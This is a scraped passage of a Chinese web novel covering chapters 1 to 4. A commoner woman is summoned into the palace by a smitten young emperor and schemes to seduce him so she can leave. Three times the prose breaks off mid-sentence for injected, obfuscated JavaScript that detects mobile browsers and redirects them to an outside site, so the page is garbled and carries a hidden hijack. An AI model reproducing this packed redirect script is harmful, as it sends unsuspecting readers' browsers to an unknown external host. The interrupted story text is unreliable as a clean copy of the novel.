《被天子一见钟情后》 1. 第1章 春夜,一轮明月斜挂。 太极宫。 鎏金铜鹤灯烧得正旺,火光一跳一跳的,映得光润地砖一片暖黄。 寝殿外间,溶溶月色似银粉洒到临窗长案上,和琉璃灯光一起,照出乔棠一张柔美面庞。 眉如远黛,唇若丹霞,秋水明眸,小巧鼻尖泛着浅粉,五官肤色细如鹅脂,颈子白皙似雪。 沐浴过后,她就被宫女换了衣衫,淡雅青色裹住了高挑窈窕身姿,一抹玉带勾勒出的纤纤素腰轻靠案前。 案上摆放着一个龙纹荷包,这是宫女离开时交给她的,“得陛下口谕,将此物交给姑娘。陛下说看到此物,姑娘就明白了。” 乔棠袖中伸出一节皓腕,修长手指轻轻地抚过荷包,脑中倏忽闪过一幕,眸内疑惑消失殆尽,原来如此。 五日前,她带家仆从冀州到达京城,因对京中还不熟悉,且要置买宅院,便带家仆穿街过巷,四处探看环境。 昨日她依然到街上去,人头攒动间,忽见前方一个华衣少年掉了一个荷包,顺手捡了起来跟过去。 到了跟前,探手点了点少年肩膀,微勾嘴角,“这位公子,你的荷包掉了。” 那少年转过头,面上带着一张关公面具,露出的一双黑亮眸子看到她后,登时手脚定住似地,也不伸手接荷包,只呆呆地看着她。 乔棠已习惯了这种情况,多数人见了她这张脸皆会如此,她没了耐心,索性把荷包扔进华衣少年怀里,旋身离开了。 浑然不知,那华衣少年正是当今天子裴承珏。 此刻知是知了,乔棠难免自嘲地笑了笑,她素来不爱管闲事,难得发了一次善心,竟把自己弄进了宫里。 且这哪里是荷包的事情? 分明是少年天子见了她的容颜,起了心思罢了。 乔棠也并非头次遇到这种情况,只不过先前那些求娶的男人身份有限,她解决起来也是轻松,便是有再难缠的,她也能使计脱身。 唯有这次,想要她的是高在云端的天子。普天之下,莫非王土,恐怕今日,她进得宫来,便再也出不去了。 只是,她连天子长什么模样都不知,自然不愿意留下来,总该争取一下回去的机会。 微微叹气间,乔棠忽闻脚步声传来,不由直了直身子,侧目望去,俄顷眸子瞪大。 昨日裴承珏带着面具,她并未看到其真实模样,这会儿乍然一瞧,不由吃惊。 裴承珏虽未及冠,体态已巍然挺拔,身着红色八团龙袍,黄色交领中单,腰盘玉革带,踏步行走间下垂大袖晃出龙纹。 面目清俊,双眉锐利如剑,一双黑目灿若朗星,眼波流转间意气风发,在看见她的一瞬,双目更是亮得惊人,加快步伐走过来。 乔棠瞬时回神,躬身便要行礼,裴承珏一到跟前,连忙探出一只长臂用手掌轻轻地托起了她的胳膊,“姐姐不必多礼。” 姐姐? 乔棠眼皮一跳,低下头去,她不过一介平民,并非皇室子嗣,怎敢应天子这一声姐姐? “先和姐姐说一声,朕不是那等凶狠之人,姐姐莫要怕朕。” 头顶传来裴承珏含笑的声音,这是要她抬头了,她依言做了,目光匆匆掠过裴承珏面容,视线落在香几上。 “姐姐心善,昨日捡了朕的荷包,朕还不知怎么感谢姐姐呢?” 乔棠心里都要冷笑了,普天之下,捡荷包的多了去了,是个捡荷包的,天子便召进宫里,那这皇宫早就装不下了,何不明说意图? 她只静静等着,等了小一会儿,也不见有声音传来,不免抬头看去。 裴承珏不知何时面上覆了一层浅粉,见她扬颈望过来,眸光一颤,连退几步,慢慢地那浅粉变成了绯红,“请姐姐穿好衣服!” 乔棠低头看了看自己,衣领阔大,一缕黑发散落颈旁,露出大片肌肤白皙,上身丰腴隆起一览无余。 也是宫女会选衣服,选了这么一件宽松的,穿上时她便知晓天子打的什么主意了。 乔棠探出葱白手指,面无表情地拢了拢衣服,心里冷笑更甚,她人都已到眼前了,还不是任天子处置,眼下装什么柳下惠? 莫非,在欲迎还拒,喜欢她主动?这般想着,她试探地往前行了两步。 果见裴承珏转过头,容色也已恢复正常,唇边含了点笑,“姐姐还没说想要朕怎么谢姐姐呢?” 乔棠懂了,这是要她主动开口提留下来。 哪有这种,强要她进了宫,反而还让她自己开口的,赚尽便宜了。 她偏要开口走,“不过是捡个荷包,陛下不必在意,若陛下想感谢民女,不如及早送民女回去?” “姐姐何必这般着急?” 乔棠随口道,“一时走得急了,家中门忘了关了。” “姐姐宅子还没买,哪来里的门?” 乔棠霍地对上裴承珏的视线,但见他似笑非笑地望过来,心下明了,这是把她查了个底朝天了。 “再者便是买了,莫说门了,宅子丢了,姐姐要多少朕送多少。” 乔棠一哽,抱着些许希望重复态度,“民女并无什么想要的,请陛下送民女回去。” 言罢发现殿里气氛凝滞了一样,裴承珏也久久不言语,转瞬懊悔,又觉后怕,兴许是裴承珏年少,又似个寻常少年好说话,她一时忘了裴承珏的身份,才这么胆大。 “请陛下宽宥民女失言。”她退了几步,屈膝一跪,如瀑黑发散落下来,露出颈后风光。 紧接着一道暗哑声音响起,“姐姐误会了,朕并非生气,朕只是……” 乔棠疑惑地扬起修长的颈子,秀美五官凝成了惊人美色,领下也泄出春光。 裴承珏匆匆撇开视线,“说出来姐姐可能不信,朕初次见姐姐,便觉心脏乱跳,又十分欢喜,想必与姐姐投缘,这才叫姐姐进宫。” “朕只是想和姐姐说说话,故不愿姐姐离开。” 乔棠哽得更狠了,“……” 她如何不信?这样表白情意的话她已听过一箩筐了,但属这个最离谱,竟把强要说得这么无辜。 她缓缓舒了口气,已吃了一个教训了,恐惹了天子再不悦,违心道,“民女自然信,民女见了陛下也是如此。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127415|180120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴承珏一听便俯身拉她起来,“看来朕与姐姐真是有缘,不若姐姐便留在宫中陪朕说话。” 图穷匕见,终于不装了,乔棠反而舒了口气,这里断没有她拒绝的份儿,便点头应下了,见裴承珏弯眸,面上是极为纯粹的笑意,心里一怔。 也许是自己意会错了,裴承珏今晚是真的没有欲迎还拒的意思,只是对她有了好感,不知怎么做罢了,不由地迎合裴承珏一笑。 霎时间裴承珏怔住了,缓缓靠过来,他本就生得高大,身躯靠过来时极具压迫力,这是一种和年纪无关的威仪。 乔棠惊得呆住不动了,大意了,到底是天子,便是对情事一无所知,也是高高在上震慑天下的存在。 她只能任由天子的手抚到自己面上,手指慢慢移动,点到了她的唇上。 乔棠的唇形状优美,唇肉饱满,色泽红润,不用细瞧,但凡瞧一眼,便想吻上去尝尝滋味。 天子手指摩挲着唇瓣,力度越来越大,疼得乔棠口中嘶了一声,惊得天子倏忽间收回手指,吃惊地后撤身子。 “姐姐早些歇息吧,朕也该歇息了。”裴承珏握了握手,阔步离开。 乔棠有些难以置信,少年不过摸了下唇便晕头转向了,难不成他说的陪他说话,真是说话,不含半点别的? 裴承珏出了太极宫方反应过来,他原是要宿在这里的,脑子一乱,才出来了,那只得回勤政殿。 宫人们见他折回来,过来侍奉他更衣,他抬起双臂立在镜子前,阖眸便闪过乔棠的模样。 心里想得诸多:青色极其称姐姐,明日便命宫人多给姐姐送些,至于摸了姐姐的唇—— 意外,不用多想。 朕只是想和姐姐说说话,绝无冒犯姐姐的意思。 过了会儿,他挥退宫人,抬起摸过乔棠的唇的指腹,换了想法,摸一摸,不算冒犯。 这般想着,再无睡意,只穿着单衣命宫人在窗下支起画架,描画出了乔棠的模样。 乔棠睡得极好,翌日甫一睁眼,一众宫女围着她侍奉,她吓了一跳,可也由不得她了,很快她被宫人妆扮一番送到了慈宁宫,由宫人领着进入正殿。 但见殿内正中地坪上设有楠木嵌玉屏风,屏风前放一张紫檀木宝座,端坐着不过四十出头的太后娘娘,两侧立着侍奉的宫人。 “乔姑娘来了,给乔姑娘看座。” 乔棠才瞥一眼,还没行礼,头顶就传来太后和善的声音,接着她便被宫人请到座位上了。 “抬头给哀家看看。” 乔棠如个木偶又被宫人扶着站起来,面容对着太后一抬,太后目光闪过惊艳,“生得真好,哀家还是头次见这么出挑的姑娘。” 乔棠只道,“谢太后夸奖。” “这模样别说陛下喜欢了,哀家也喜欢得很,乔姑娘要常来哀家这里坐坐。” 乔棠随即称是,听太后又道,“原本哀家还担心陛下,这都十八了,身边也没个贴心的陪着,现在可算放心了。” 乔棠边听边讶然,原来裴承珏身边这般清静,怪不得昨夜反应那么青涩。 2. 第2章 裴承珏年少登基,样样都好,内阁辅臣都道他理政颇有太祖之风,唯独耽误了情爱上的教导。 这也怪不了哪一个人。 先帝驾崩前,裴承珏年纪小,她定不会考虑这些,待先帝驾崩,裴承珏又执意为先帝守够三年孝期,如此以来,直到十七岁,太后才考虑此事。 说来也就是去年的事,太后连派了好几个容色娇俏的姑娘过去,都被裴承珏退了回来,“母后不必再送,朕自有主意。” 太后一听,以为他自己有了,由此松了口气,可又过去半年,他身边不见半个暖心的人陪着,只一心理政,不免急了,和内阁辅臣一起劝谏裴承珏选妃,好为皇室开枝散叶。 裴承珏受先帝教导,一心为国事繁忙,整日埋在政务里,并无这个心思,那些劝谏选妃的折子都被他束之高阁了。 直到今年,裴承珏出宫一趟,见了乔棠,回了宫里脑中总闪过乔棠的面容,便是批折子也是心不在焉的,与辅臣议事时,更是三番两次走神。 他很快察觉出了自己对乔棠的在意,于是当即下令寻找乔棠,很快将乔棠从偌大的京城揪了出来。 乔棠进宫那一日,定是不知晓,朝堂宫里多少双眼睛盯着呢,不过眼下她已全然明白了。 宫中忧心裴承珏已久,霍地冒出来一个她,解了宫里的燃眉之急,又见她这么得裴承珏喜欢,那便给她些体面,好发挥她的作用。 此时,殿内宫人慢慢踱步出去了,只余了乔棠和太后,乔棠知道真话来了。 太后沉了声音,慢慢道,“不知乔姑娘可真心愿意留在宫中陪伴陛下?” 乔棠原本心绪沉沉,一听这话一个念头陡然从脑中闪出来。 她大抵上明白太后的意思了,宫中早已探过她的消息了,一个从偏远地区进京的孤女,哪里够得上天子呢? 毕竟先前求娶她的男人中也有官员之子,除却男人对她情真意切外,男人家里爹娘皆不同意。官员之家尚且如此,何况是天家呢? 且她已嫁过人,和离一次了,虽说和离之后,前夫才意外身亡,和她没甚的关系了,但指不定有哪些流言蜚语会沾染上她。 太后若真不介意这些,便不会这么问了,乔棠揣测明白了,便道,“民女但凭太后娘娘安排。” 太后亦明白了她是何意,“陛下年少,性子跳脱,没个定性,今日喜欢这,明日喜欢那,从未有过什么长久的东西。” 说得乔棠越发欢喜,竖起耳朵再听,“你是嫁过人的,自也有些经验,只管侍奉好陛下,让他尽了性,哪一天腻了,哀家会为陛下择妃,到时便可放你出宫。” 乔棠只觉峰回路转,“谢太后。” 太后垂下视线掠了她一眼,心道,生得再好也无用,一旦男人尝过滋味,尤其皇室男人,兴趣不会持久的,毕竟后面还有更多的等着。 殿里才默下来,门边传来一道唱声,“陛下驾到——” 裴承珏走进来,身穿一件赭黄色的圆领衮服,交领红色中单锁在脖颈处,步伐稳健有力,容色比昨夜更为沉稳,便是年少也遮不住的威仪气度。 “母后。”他先是太后行了礼,看向乔棠时眸子亮得惊人,“乔姑娘也在。” 乔棠在心里一笑,果真性子跳脱,没个定性,昨夜还姐姐呢,今日便乔姑娘了。 裴承珏问道,“可用过早膳了?” 太后见他目不转睛地盯着乔棠看,容色淡淡,“哀家是用过了,乔姑娘一早就被哀家喊过来了,还没用,陛下应也是才下朝,和乔姑娘一起用吧。” 乔棠只好跟着裴承珏出了慈宁宫,沿路走来,落了裴承珏两步。 不想裴承珏退了回来,立在她身侧,低声道,“姐姐,朕不好在外人面前这般喊你。” 乔棠被他靠过来的气息一惊,慢慢地远了点,才拿眼去看裴承珏,见他耳根红着,心里了然,他这是在外人面前不好意思喊她姐姐。 乔棠一听,原是这样,白欢喜了一会儿,实则她觉着叫乔姑娘更好,叫姐姐也太过了。 然她不能贸然说出来,常言道伴君如伴虎,这会儿天子对她有好感,但谁也说不准下一刻会如何。 裴承珏一听,眼神闪了闪,乔棠预感不妙,果听裴承珏迟疑道,“喜欢朕喊姐姐么?” 乔棠能说不喜欢么? 明明是天子喜欢,反倒来问她,她只好心里含泪地道,“喜欢。” 但凡裴承珏有些经验,能体察姑娘心思,就会看出乔棠的勉为其难的,可惜他没有,一瞬笑起来,眸色炽热,“那朕私下就一直喊姐姐了。” 乔棠暗叹,真是一根木头。 可怜见的,她还得给这根木头开窍。 乔棠瞬间绝望起来。 回了太极宫用早膳,她见裴承珏时不时盯过来,不免叹气,便是再心动,也不用吃饭也看吧。 饭罢,她听裴承珏对宫人道,“乔姑娘爱吃的几样菜可记着了?” 宫人称是。 乔棠又觉这是根暖心的木头,心头琢磨着怎么引裴承珏上钩。 她又觉甚至不用引,裴承珏本就对自己有心思,令他产生反应,不是手到擒来? 眼下裴承珏用过早膳,也该忙去了,得先把他留下来,不想裴承珏笑道,“姐姐跟朕走吧。” 乔棠还没反应过来,裴承珏已出去了,领着她一路回了勤政殿。 过了暗纹龙雕隔断,乔棠方知道裴承珏要让她待在这暖阁里。 她粗略环顾,北墙设有一张拔步龙床,挂着明黄纱帐,床前几步远,东侧立一张梅花香几,上置掐丝珐琅熏炉,从内燃起一缕轻薄香雾散于空中,右侧窗下紫檀木案几上散着书籍,两侧各有扶手椅。 “姐姐坐吧。” 乔棠在扶手椅坐下,见裴承珏落在对面,笑道,“昨夜匆忙,都未与姐姐好好说话。” 乔棠深知他这话是真心实意的,也不在心里讥讽了,只笑了笑。 她生得秀美,眸子一弯,笑起来宛若池中带水红莲,和着风丝柔柔地斜着。 裴承珏目不转睛地盯过来,顿觉口干舌燥,抬袖抿了口茶,犹觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127416|180120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不足,索性道,“姐姐笑起来真好看。” “咳咳——” 乔棠才咽下茶水,被这话一惊,便是没被呛死,眼角泪珠也出来了。 “是朕不该唐突姐姐。”慌得裴承珏俯身过来,手掌在她后背轻轻地拍着,乔棠缓过来后摆了摆手,示意好了,可那背上手掌迟迟不离去。 春衫本就不厚,掌心热度透过衣衫一点一点沁进身体,加之适才那句话,让乔棠都惊讶了,到底是她要勾裴承珏还是裴承珏勾她? 她抬起眼望向裴承珏,更是惊了,那双黑沉沉的眸子似燃着火,想来是肌肤接触叫他起了反应。 乔棠微一思索,这正是个机会,她本也没时间慢慢磨下去,便轻轻地喊,“陛下。” 眼角泪珠还没落,真成了池中被雨丝淋过的娇弱红莲,引得人怜爱之心大发。 裴承珏忙应了一声,鬼使神差地伸出手指,将她眼角那泪慢慢地拭去了,她抬起颈子慢慢凑过去,两人越来越近。 裴承珏心如鼓擂,猛地撤回了手,连退几步,“姐姐不慎呛到了,朕命人去喊太医。” 乔棠无言地看他匆匆离去,坐回椅子上,琢磨出了个大问题。 这情况不太对,她原以为裴承珏本就对她有心思,勾弄起来岂不是易如反掌? 但看裴承珏反应,也太禁不住撩拨了,还没开始呢就跑了,不正和昨夜一样? 很快太医到了,乔棠本就呛了口水,并无大碍,太医便为她把了平安脉,末了,只说乔棠身体很好,没什么问题。 那是自然的,乔棠最宝贵的便是这条命和这副身子,毕竟身侧双亲已逝,和她有过夫妻关系的前夫也亡了,素日里也就家仆关心,自己再不上心,那日子就没法过了。 太医去了后,乔棠见裴承珏要批折子,便觉今日没机会了,起身离开,“陛下且忙吧,民女不在这里打扰陛下了。” “姐姐莫走,今日姐姐就在这里,若累了便去床上歇会儿。”裴承珏笑着说出不容拒绝的话,“待朕忙完便回来见姐姐。” 乔棠震惊,也就是说裴承珏在外面议事批折子,她要在里面时刻陪着,这是何等的酷刑啊! “陛下……” 裴承珏本已走了两步,闻言侧目,视线未及乔棠,却叫乔棠心里一颤,改口道,“早些回来。” 裴承珏笑起来,“朕让人给姐姐送些东西。” 他离去后,几个宫人捧来许多新奇玩意,也叫她玩了好一会儿,外面裴承珏想必忙得很,也没动静传来。 又过一会儿,一阵脚步声过来,是几个臣子进来了,她听到裴承珏的冷声,“起来。” 竟让她生生打了个寒颤,裴承珏在她面前一口一个姐姐,颇似个脾性甚好的少年,却原来这只是他其中的一面。 裴承珏与臣子说话声一点一点传来,乔棠清晰地听到裴承珏毫无情绪的声音,“杀。” 把玩东西的手指抖动几下,乔棠按不住急促的心跳声,起身走了几步,又觉这暖阁活似要吞了她,一时站也不是,坐也不是。 3. 第3章 自昨夜到眼下,那种尚能接受目前处境的平静终于被打破了,她苦涩地勾了勾唇,身后突然传来一声,“姐姐。” 她慢慢回头,已恢复正常容色,“陛下忙完了?” “尚未,但一想起姐姐,便坐不住了,”裴承珏招来宫人送上点心,“朕陪姐姐吃些。” 到底是谁陪谁。 天底下怎会有这么会颠倒黑白的人? 她蓦地生出一股不悦,面上不敢显出来,只在吃点心时沉默下来。 裴承珏一直看着她,看不够似的,她只好安慰自己,看吧看吧,今日多看几眼,指不定就看腻了。 这么一想,心情又好了点,又听裴承珏道,“姐姐既不喜吃这个点心,便换几种。” 乔棠心里一咯噔,暗骂,你在这方面倒是敏锐得很,只能任由宫人又送上几种,恰好有她喜欢吃的,便心神一松,安心吃东西。 裴承珏吩咐宫人,“日后只送这一种,其余不必再做。” 宫人称是,一一退出去了,乔棠吃着点心,心里咬着牙想,便是再怕也得做,故意在唇上留了点心碎屑。 然后她看向裴承珏,点了点自己的嘴角,“陛下帮民女看看可擦干净了?” 裴承珏摇头,她故作不知地擦错地方,对面便伸来手指,轻轻地抹时,她微微启唇,指腹扫过唇缝就唰一下缩回去了。 乔棠心里暗骂,适才在外面杀伐决断的,眼下摸个唇缝倒像吃了你一样,没一点出息! 可接下来就叫她瞪大眸子,只见裴承珏收了手指,眸子紧紧盯着那碎屑,入魔了似的,低首舔净了,喃喃道,“好甜。” 乔棠唰得一下站了起来,惊得裴承珏回了神,也猛地站起来,“姐姐莫怕,朕没那个意思。” 乔棠震惊,你都做到这份上,还说没那个意思,那做到什么程度才有那个意思? “朕给姐姐寻些书看!”裴承珏转身在暖阁里翻了一堆,放在案几上,旋即出去了,“朕去批折子去了。” 乔棠抚了抚胸口,呼了口气,瞥了一眼书籍,没什么兴趣地转过视线,忽地又转过来,思量着一件事。 下午时,慈宁宫派来一位教导姑姑,裴承珏正在忙,乔棠便知道这位姑姑是教导自己。 约莫是太后还是不放心的,恐怕她有经验也做不好,还是让姑姑过来指点一番。 乔棠听得心不在焉的,盖因宫里这些恪守礼制的东西乏味得很,哪里有民间那么狂放? 她低眉想了想,开口和姑姑要了几本画册,并特意说去宫外寻。 姑姑眼中波澜一闪而过,并未答应,乔棠明了,这事得太后做主,那更好,她可不能在太后眼皮子作妖,便道,“请姑姑禀报太后娘娘,民女定以陛下的身体为先。” 再怎么弄,也不能弄坏了天子身体吧?再者看眼下情况,哪天能成还是个事呢,她便补了一句,“陛下清正心净,实难撼动。” 姑姑颇以为然,她离开后,午膳时间到了,裴承珏过来与她一起用饭。 饭罢她提出回太极宫,裴承珏依旧不准,恐她在暖阁无聊,便带她到外殿坐在自己身边。 乔棠算是明白,她就像个裴承珏刚发现的新奇玩具,得时时刻刻待在身边,便是再忙,抽出时间转头看一看,也很快乐。 就是可怜了乔棠,只得拿着书卷看个不停,忽地发现一篇极好文章,忍不住多瞧了几眼。 裴承珏的朱砂笔在折子上游动,口中笑道,“姐姐慧眼,这是去年状元郎写的。” 乔棠瞧着字迹有种似曾相识之感,眼皮子一跳,又觉定不可能,毕竟她那前夫坟头草都老高了,嘴上随意道,“哪里比得上陛下慧眼识英才?” 裴承珏来了兴致,放下朱砂笔,拿过文章屈指敲了敲,“文章且不提了,魏卿身世倒大有说头。” 据说这位状元郎本是镇国公之子,可怜幼时走失了,去年才被找回来,不想是个极有才华的,入了科场便拔得头筹,可把国公府欢喜坏了。 乔棠听了,新奇了一下,也就抛之脑后了,整个下午她都陪着裴承珏,眼看傍晚了,她琢磨着今晚该和裴承珏同宿了吧? 裴承珏道,“天色不早了,朕命人送姐姐回去,姐姐早些歇息。” 乔棠面无表情地应下,该送的时候不送,她想留下来的时候倒着急把她送走,真是会气人。 夜间,裴承珏没回寝宫,宿在勤政殿了,乔棠心道,明日去勤政殿,说什么也得留在那里。 却不知裴承珏也暗暗后悔,后悔白日唐突了她,这会儿在暖阁里盯着自己手指瞧,心道,明日还叫姐姐吃点心吧。 翌日一早,宫人们捧来多件青色衣衫,“陛下命针工局送来的。” 此时又一宫人捧来一副乔棠画像,“勤政殿那边送来的,说是陛下连夜画的。” 乔棠看着画像,画中自己巧笑嫣然,与真实的自己并无不同,惊叹裴承珏将两人遇见那一幕记得如此牢固。 可话说回来,若不是街上遇见,自己也不会被迫留在宫中了。 她淡淡道,“收起来吧。” 宫人迟疑,“敢问姑娘收在哪里?” 乔棠目露疑惑,偌大的太极宫,难不成没个放画的地方,她道,“收起来就好。” 宫人听出她的意思了,她并不在意这副画,惊惧地一跪,“乔姑娘,这是陛下连夜为姑娘画的,不若奴婢放在寝殿?” 乔棠笑了笑,“原来如此,这是陛下的心意,且放寝殿吧。”心道,大不了睡觉时盖起来,眼不见心不烦。 宫人欢喜地去了,这时从勤政殿接乔棠的宫人来了,乔棠心里想了想,换上了裴承珏送来的青衣,又叫宫人们为她妆扮一番。 从太极宫出来,一路往勤政殿时,宫人们暗暗瞥来数眼,都道乔姑娘生得真好看,怪不得陛下看一眼就喜欢上了。 进了勤政殿,裴承珏已在等了,目光瞥来,怔住原地,只觉一团艳光扑来,将整座宫殿照亮了许多。 乔棠瞧他神色便知他心中所想,与他一起进了暖阁,柔柔一笑,“陛下昨夜睡得可好?” 裴承珏慢慢道,“好。” 实则睡得很差,乔棠的容色总在他脑中闪来闪去,他第一次知晓迫切想见一个人是何滋味。 于是一早便命人去接乔棠了,乔棠又穿着他送的青衣神采烨然地过来,更叫他难以控制自己了。 但到底不能冒犯姐姐,还是离远些吧,他想着退了几步,“姐姐在此玩,朕忙去了。” 乔棠都要暴怒了,胸膛起伏间隆起明显,裴承珏瞥一眼走得更快了。 乔棠,“……” 于是一天下来,裴承珏时而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127417|180120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出入暖阁,只为看看她,同她说说话,她将能玩的玩了一遍,终于熬到了夜间。 她终于能发挥了,刚一张口,殿门外几个臣子求见,说是有急事,裴承珏道,“朕今夜恐怕睡不成了,臣命人送姐姐回去。” 乔棠认命地回了寝殿,看见那副画时,随意扯了件衣衫,直接盖了个严实,然后上床睡觉去了。 睡至一半,她霍地惊醒,脑子里流水一样浮过裴承珏的样子。 他是真的要和自己说话,对自己便有冲动也克制着,也就是说他想要的是感情,并非身子。 乔棠这么一想,慢慢地笑了,心里石头落地,接下来睡得好了。 第二日,她一反常态,只淡淡妆扮,看起来对裴承珏格外没有威胁,裴承珏果然松了口气,与她多待了一会儿,“姐姐可有看到朕的画?” 乔棠心思一动,“看见了,画得真好,说来民女也曾寻画师画过,都不及陛下画得十分之一。” 裴承珏笑起来,“姐姐夸大了,以后姐姐在朕面前不必这般自称,只当朕也不是天子。” 乔棠看着他更为自然的态度,点点头,“只是我没想到陛下记得极清,连衣服花纹都描得细致。” “朕过目不忘。” 乔棠拍手,“陛下当真天纵英才,说来我这人素来不爱管闲事,只那一日在后面见陛下背影,也不知怎么地,猛地就变了想法,才把荷包捡起来。” 裴承珏看着她张张合合的唇,胸腔里心跳又不正常了,难不成是姐姐也和朕一样,对朕也起了这样的心思? 裴承珏慢慢地收回视线,“那不知姐姐看到朕,心里怎么想的?” “自然是极为欢喜,初见陛下那夜,我不说过了吗?” 裴承珏胸腔里的心跳一声急过又声,原来姐姐对他也是这个意思,既然心情都是一样的,那他做些什么就不算冒犯了吧? 裴承珏笑起来。 乔棠便知自己试探对了,心里叹气,果真是个少年,要什么不好,要感情,须知这感情可是天底下最没用的东西了。 午膳时,宫人捧着一碗豆汤到裴承珏手里,裴承珏正要用,乔棠靠过来,一把抓住了裴承珏的手。 裴承珏的手宽大,带有薄茧,应是练骑射磨的,乔棠的手柔软白膩,两只迥异的手贴在一起。 裴承珏只觉有种柔软慢慢包裹自己,心神一荡,再一思索,发现是姐姐主动伸的,顿觉原来姐姐并不排斥和他接触。 如此一想,内心泛起的愉悦比双手相贴带来的还要多,不由要握得更紧。 乔棠却一瞬撤走了,“陛下莫恼,适才我以为汤还热着,恐烫着陛下。” 豆汤都是宫人侍奉好的,哪里需要她操心,不过是个借口,裴承珏下意识想,原来姐姐会找借口接近自己。 这般想着,下午议政时出了神,内阁几个辅臣头次见他这模样,互相对视一眼,皆望向了暖阁,心道,真难得,竟见陛下年少慕艾。 裴承珏淡淡道,“众卿觉着朕如何?” 几个老大人,个个都是人精,哪里听不出来这个意思,顾首辅道,“陛下样样都好,若不是日夜忙于政务,多出宫走一走,定有不少姑娘倾心于陛下。” 裴承珏随手捞了封折子,掀开映住了微微勾起的唇,这般说的话,姐姐也倾心于朕吧? 4. 第4章 乔棠在暖阁里坐着,琢磨这事快成了,果真傍晚时,裴承珏命人送她回太极宫,“朕晚些回。” 乔棠暗喜,回了宫里,见两个宫人过来,一宫人捧着一个匣子,另一宫人举着酒壶,都说是慈宁宫送来的。 乔棠打开匣子,看见册子,啪一声又阖上了,又去看那壶酒,自是明白了太后的意思,看来太后是真急了,连这种手段都使上了。 “将酒放在外间。”她自己抱着匣子进了里间,将册子拿出来,放到床最里面,下了床去沐浴更衣。 及至裴承珏回来,他换了一件天青长袍,黑发束于脑后,拿着书卷在临窗长案下坐着,问宫人,“乔姑娘睡下了?” “回陛下,没有。”宫人道,接着捧来酒杯道,“陛下,乔姑娘说此酒酿得甚好,若陛下回来了,请陛下喝一杯。” 裴承珏定定地看着那酒,闻得酒气便知不对劲,半晌也不接过来,面色一沉,“哪里来的?” 宫人战战兢兢地举着酒杯,“慈宁宫送来给乔姑娘的,乔姑娘又安排奴婢给陛下端来。” 裴承珏眸子黑沉,“倒了,母后宫中若有人问及,便说是朕不小心撒了。” “是。” 接着裴承珏进到里面,先是看到了那副画像,上面散着衣衫,他走过去抓过衣衫放到一边,露出了乔棠的笑颜,不由也笑起来了,姐姐竟把画放在眼前,可见是喜欢的。 他转身看向龙床,纱帐罩着,也瞧不见乔棠,倒是有光芒在里面隐隐的闪动。 他疑惑地走过去,轻轻一扯纱帐,霎时亮堂一片。 只见乔棠手中把玩着夜明珠,浅色衣衫松散,露出大片肌肤不说,胸前白膩也若隐若现,更莫提那张美貌的面容了。 裴承珏不过看了一眼,顿时气血上涌,身下异样传来,当即匆匆转身而去。 到了外间犹觉不足,直出了后殿,到前殿重重地呼了口气,翻出书卷试图去看。 每个字都像不认识了一样,最终他甩掉书,狼狈地处理这平时并未的情况,命人备了水,洗了个凉水澡,终是冷静下来。 乔棠根本没来得及发挥,裴承珏就猛地转身走了,让她料定裴承珏定是喝酒了,反应才这般快,但他怎走了呢! 她失望地举着夜明珠玩,闻得脚步声又来,知晓裴承珏折回来了,心道既喝了酒,也通了情意,也该知晓什么意思了,该过来了吧。 她把夜明珠放好,动了动纱帐,“陛下不休息吗?” 裴承珏抿唇,“朕只是来看看姐姐。”声音顿了顿,续道,“往后若是母后送来的东西,姐姐注意一些。” 乔棠愣了好一会儿,蓦地明白过来,原来他知道这些手段,许是太后已在他身上用过了,他就记住了。 乔棠试探道,“今日慈宁宫送来一壶酒,可也算在里面?” “算,朕已命人倒了,姐姐日后小心些。” 乔棠一股气哽在心头,心道,我小心什么,我该小心你才是! 她真真无言了,总不能直接和裴承珏说,“倒错了,我本有意和陛下敦伦,才让陛下喝的。” 纱帐外,裴承珏似在踌躇,末了还是张口道,“今日午膳,姐姐担心烫着朕,朕很欢喜,姐姐的手碰到朕,朕的心跳就又快又急。” 乔棠,“……” 老天,你真是说得好听,但一动不动! 再说,说得再好听也是无用的,她对天子真无什么特殊感觉,更也不会为这些心动。 她思索着,随口回,“我也是如此。” 裴承珏耳根慢慢红了,原来姐姐也心悦自己。 若是乔棠往外看一眼,就该明白自己在做什么孽,可她不仅不收敛,还慢慢道,“我想问陛下,陛下是只对我如此吗?” 裴承珏心道,原来姐姐还会怕朕对别人这样,当即道,“朕只对姐姐这样。” 乔棠心底嘶了一声,若是她有意于天子,恐怕这会儿心跳也得加速了。 裴承珏笑道,“所以接了姐姐进宫,姐姐你不会生气吧?” 乔棠一听,心头一哽,她能说很生气么?不能,只能含糊地嗯了一声,“陛下,你对民女这种感情称之为男女之情,想必陛下也知晓吧?” 